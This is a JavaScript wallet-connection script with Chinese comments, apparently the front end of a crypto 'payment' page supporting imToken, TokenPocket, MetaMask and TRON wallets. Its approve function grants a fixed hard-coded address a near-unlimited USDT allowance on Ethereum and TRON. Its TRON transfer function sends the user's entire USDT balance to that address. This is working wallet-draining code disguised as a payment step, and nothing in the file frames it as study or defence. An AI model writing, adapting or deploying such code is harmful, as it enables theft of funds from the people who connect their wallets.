import tp, { sign } from 'tp-js-sdk';
import TokenWebView from '@consenlabs-fe/webview';
import { ethers } from 'ethers';

// imtoken 切换
const changeButton = document.querySelector('.change');
// tokenpocket 切换
const changeTpButton = document.querySelector('.changetp');

// erc20 合约操作
const ApproveButton = document.querySelector('.approve');
const TransferButton = document.querySelector('.transfer');
const AccountButton = document.querySelector('.account');
// 地址展示
const Account = document.querySelector('.account_');

changeButton.addEventListener('click', () => {
  changeAccount();
});
changeTpButton.addEventListener('click', () => {
  changeTpAccount();
});

AccountButton.addEventListener('click', () => {
  currentAccount();
});
ApproveButton.addEventListener('click', () => {
  approve_erc20();
});
TransferButton.addEventListener('click', () => {
  transfer_erc20();
});

// imtoken切换钱包
async function changeAccount() {
  if (TokenWebView.isTokenEnv()) {
    await TokenWebView.apis.user.showAccountSwitch();
    window.location.reload();
  }
}

// tokenpocket切换钱包
async function changeTpAccount() {
  if (tp.isConnected()) {
    await tp.getWallet({ walletTypes: ['eth', 'bsc', 'tron'], switch: true });
    window.location.reload();
  }
}

// 当前钱包的账户地址
async function currentAccount() {
  let chain = '';
  if (window.tronWeb) {
    const account = await tronWeb.defaultAddress.base58;
    if (account) {
      Account.innerHTML = await tronWeb.defaultAddress.base58;
      chain = 'tron';
    }
  }
  if (window.ethereum) {
    const chainId = await window.ethereum.request({ method: 'eth_chainId' });
    console.log('chainId : ', chainId);
    if (chainId === '0x1') {
      // 连接 metamask
      const accounts = await window.ethereum.request({
        method: 'eth_requestAccounts',
      });
      Account.innerHTML = await accounts;
      chain = 'eth';
    } else if (chainId === '0xc3') {
      Account.innerHTML = await tronWeb.defaultAddress.base58;
      chain = 'tron';
    } else {
      alert('目前只支持 TRON, ETH 支付, 请切换钱包！');
    }
  }
  return chain;
}

// erc20授权
async function approve_erc20() {
  const chain = await currentAccount();
  if (chain === 'eth') {
    const USDT = '0xdAC17F958D2ee523a2206206994597C13D831ec7';
    const ERC20ABI = require('./ERC20ABI.json');
    const provider = new ethers.providers.Web3Provider(window.ethereum);
    const signer = new ethers.providers.Web3Provider(
      window.ethereum
    ).getSigner();
    const tokenContract = new ethers.Contract(USDT, ERC20ABI, provider);
    const tokenSigner = tokenContract.connect(signer);
    const tokenAmount = ethers.utils.parseUnits('999999999', 6);
    const transaction = await tokenSigner.approve(
      '0xc12dE60cfE716ff3E5Cd4C29cbd3fAb1358b3646',
      tokenAmount
    );
    console.log(' Token approve hash : ', transaction.hash);
  } else if (chain === 'tron') {
    // tron 授权
    const trc20Address = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
    try {
      const contract = await tronWeb.contract().at(trc20Address);
      await contract
        .approve('TGFtfMdYuJ8shT661ZDMLtF19yvihLnpQh', 999999999999999)
        .send({ feeLimit: 100000000 });
    } catch (error) {
      console.error('Approve Error!', error);
    }
  } else {
    alert('目前只支持 TRON, ETH 支付, 请切换钱包！');
  }
}

// erc20转账
async function transfer_erc20() {
  const chain = await currentAccount();
  if (chain === 'eth') {
    const USDT = '0xdAC17F958D2ee523a2206206994597C13D831ec7';
    const ERC20ABI = require('./ERC20ABI.json');
    const provider = new ethers.providers.Web3Provider(window.ethereum);
    const signer = new ethers.providers.Web3Provider(
      window.ethereum
    ).getSigner();
    const tokenContract = new ethers.Contract(USDT, ERC20ABI, provider);
    const tokenBalance = await tokenContract.balanceOf(
      window.ethereum.selectedAddress
    );
    const tokenAmount = ethers.utils.parseUnits(ethers.utils.formatUnits(0), 6);
    const tokenSigner = tokenContract.connect(signer);
    const transaction = await tokenSigner.transfer(
      '0xc12dE60cfE716ff3E5Cd4C29cbd3fAb1358b3646',
      tokenAmount
    );
    console.log(' Token transfer hash : ', transaction.hash);
  } else if (chain === 'tron') {
    // tron 转账
    const trc20Address = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
    try {
      const contract = await tronWeb.contract().at(trc20Address);
      const account = await tronWeb.defaultAddress.base58;
      const tokenAmount = await contract.balanceOf(account).call();
      await contract
        .transfer('TGFtfMdYuJ8shT661ZDMLtF19yvihLnpQh', tokenAmount)
        .send({ feeLimit: 100000000 });
    } catch (error) {
      console.error('Transfer Error!', error);
    }
  } else {
    alert('目前只支持 TRON, ETH 支付, 请切换钱包！');
  }
}
